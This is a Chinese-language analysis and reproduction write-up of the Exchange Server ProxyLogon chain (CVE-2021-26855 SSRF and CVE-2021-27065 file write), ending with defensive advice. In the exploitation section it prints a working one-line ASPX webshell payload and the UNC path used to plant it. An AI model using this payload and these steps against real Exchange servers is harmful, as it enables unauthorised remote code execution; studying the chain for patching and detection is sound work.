CVE-2021–26855与CVE-2021–27065漏洞分析及复现
字数 1646 2025-08-05 00:15:37
Exchange Server漏洞分析:CVE-2021-26855与CVE-2021-27065
漏洞概述
这两个漏洞是Microsoft Exchange Server中的高危漏洞组合:
- CVE-2021-26855:服务器端请求伪造(SSRF)漏洞
- CVE-2021-27065:任意文件写入漏洞
组合利用这两个漏洞可以实现未授权的webshell写入,危害极大。
CVE-2021-26855 (SSRF)分析
漏洞位置
C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll
漏洞触发流程
-
请求处理入口:
ProxyModule.OnPostAuthorizeRequest→OnPostAuthorizeInternal- 调用
SelectHandlerForUnauthenticatedRequest函数处理未认证请求
-
协议类型处理:
- 根据URL中的web子目录(如
/ecp/n.png)确定ProtocolType - 当
ProtocolType为ecp时,检查BEResourceRequestHandler.CanHandle返回值
- 根据URL中的web子目录(如
-
CanHandle条件:
GetBEResouceCookie:检查请求cookies中的X-BEResource字段IsResourceRequest:请求路径需以.js、.png等结尾
-
后端请求处理:
- 使用
BEResourceRequestHandler处理请求 - 继承链:
BEResourceRequestHandler→ProxyRequestHandler - 最终调用
ProxyRequestHandler.BeginProcessRequest()
- 使用
-
后端服务器解析:
BeginCalculateTargetBackEnd→InternalBeginCalculateTargetBackEnd→ResolveAnchorMailbox- 解析
X-BEResource字段:使用~分割字符串,前半部分作为FQDN(全限定域名),后半部分作为version
-
SSRF实现:
BackEndServer.Fqdn和clientUrlForProxy.Host可控ProxyRequestHandler.CreateServerRequest将URI发送给后端服务器- 通过最后一个else分支绕过认证,实现SSRF
CVE-2021-27065 (任意文件写入)分析
利用前提
需要管理员账号权限,CVE-2021-26855可帮助获取此权限
漏洞利用步骤
- 登录管理员账号后,访问:服务器 → 虚拟目录 → OAB
- 编辑OAB配置,在"外部链接"中写入恶意脚本:
http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["SD"],"unsafe");}</script> - 保存配置后选择"重置虚拟目录"
- 指定shell写入位置为:
\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx - 结果:成功写入一句话木马webshell
漏洞组合利用流程
- 利用CVE-2021-26855 SSRF漏洞获取管理员权限
- 利用获得的管理员权限触发CVE-2021-27065任意文件写入
- 写入webshell实现远程代码执行
防御建议
- 及时安装Microsoft官方发布的安全补丁
- 限制Exchange服务器对外网的直接暴露
- 实施网络分段,限制内部服务器间的横向移动
- 监控异常文件创建行为,特别是
aspnet_client目录下的.aspx文件 - 定期审计Exchange服务器日志,查找可疑请求模式